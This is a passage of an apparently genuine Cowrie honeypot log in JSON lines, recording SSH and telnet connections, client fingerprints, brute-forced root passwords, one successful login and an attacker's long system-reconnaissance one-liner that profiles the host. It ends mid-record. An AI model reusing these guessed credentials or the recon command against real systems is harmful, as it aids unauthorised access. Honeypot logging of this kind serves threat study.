{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:43.256100Z","src_ip":"154.16.115.34","session":"baf873b67061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qnt@Tr0ng$P@ss","message":"login attempt [root/Qnt@Tr0ng$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:43.333396Z","src_ip":"154.16.115.34","session":"baf873b67061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:47:44.360882Z","src_ip":"154.16.115.34","session":"baf873b67061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46178,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67cbb255534","protocol":"telnet","message":"New connection: 170.64.224.25:46178 (159.203.135.109:23) [session: c67cbb255534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:00.463444Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34682,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75bcc6835a0","protocol":"ssh","message":"New connection: 160.187.174.22:34682 (159.203.135.109:22) [session: e75bcc6835a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:01.664599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:02.243675Z","src_ip":"160.187.174.22","session":"e75bcc6835a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:02.246597Z","src_ip":"160.187.174.22","session":"e75bcc6835a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:03.215551Z","src_ip":"160.187.174.22","session":"e75bcc6835a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:04.459761Z","src_ip":"160.187.174.22","session":"e75bcc6835a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60934,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a62ea138a9","protocol":"ssh","message":"New connection: 103.149.28.157:60934 (10.17.0.5:22) [session: 93a62ea138a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:12.209663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:12.214096Z","src_ip":"103.149.28.157","session":"93a62ea138a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.90199160575867,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:12.262638Z","src_ip":"183.91.11.226","session":"b79bb7541b6d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:12.452961Z","src_ip":"103.149.28.157","session":"93a62ea138a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:13.170532Z","src_ip":"103.149.28.157","session":"93a62ea138a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41696,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f73c1986ff","protocol":"ssh","message":"New connection: 91.92.40.4:41696 (10.17.0.5:22) [session: a1f73c1986ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:13.869888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:13.873933Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:13.955324Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"p@ssw0rd","message":"login attempt [oracle/p@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.202257Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.395767Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.398165Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.400755Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.402553Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.404597Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.406792Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.408910Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.411034Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.413841Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.416986Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.419872Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.431541Z","src_ip":"103.149.28.157","session":"93a62ea138a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.509855Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:14.596785Z","src_ip":"91.92.40.4","session":"a1f73c1986ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":40204,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8256285e05","protocol":"telnet","message":"New connection: 183.91.11.226:40204 (159.203.135.109:23) [session: 6c8256285e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:15.976561Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39518,"dst_ip":"159.203.135.109","dst_port":22,"session":"642616fad9aa","protocol":"ssh","message":"New connection: 103.27.238.120:39518 (159.203.135.109:22) [session: 642616fad9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:23.290553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:23.294142Z","src_ip":"103.27.238.120","session":"642616fad9aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:23.561592Z","src_ip":"103.27.238.120","session":"642616fad9aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09101990","message":"login attempt [root/09101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:24.367367Z","src_ip":"103.27.238.120","session":"642616fad9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":45524,"dst_ip":"10.17.0.5","dst_port":23,"session":"601166103ceb","protocol":"telnet","message":"New connection: 107.150.146.69:45524 (10.17.0.5:23) [session: 601166103ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:25.134138Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:25.637237Z","src_ip":"103.27.238.120","session":"642616fad9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42976,"dst_ip":"159.203.135.109","dst_port":22,"session":"2300be1b1235","protocol":"ssh","message":"New connection: 160.187.174.22:42976 (159.203.135.109:22) [session: 2300be1b1235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:32.205833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:48:32.212025Z","src_ip":"160.187.174.22","session":"2300be1b1235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@ope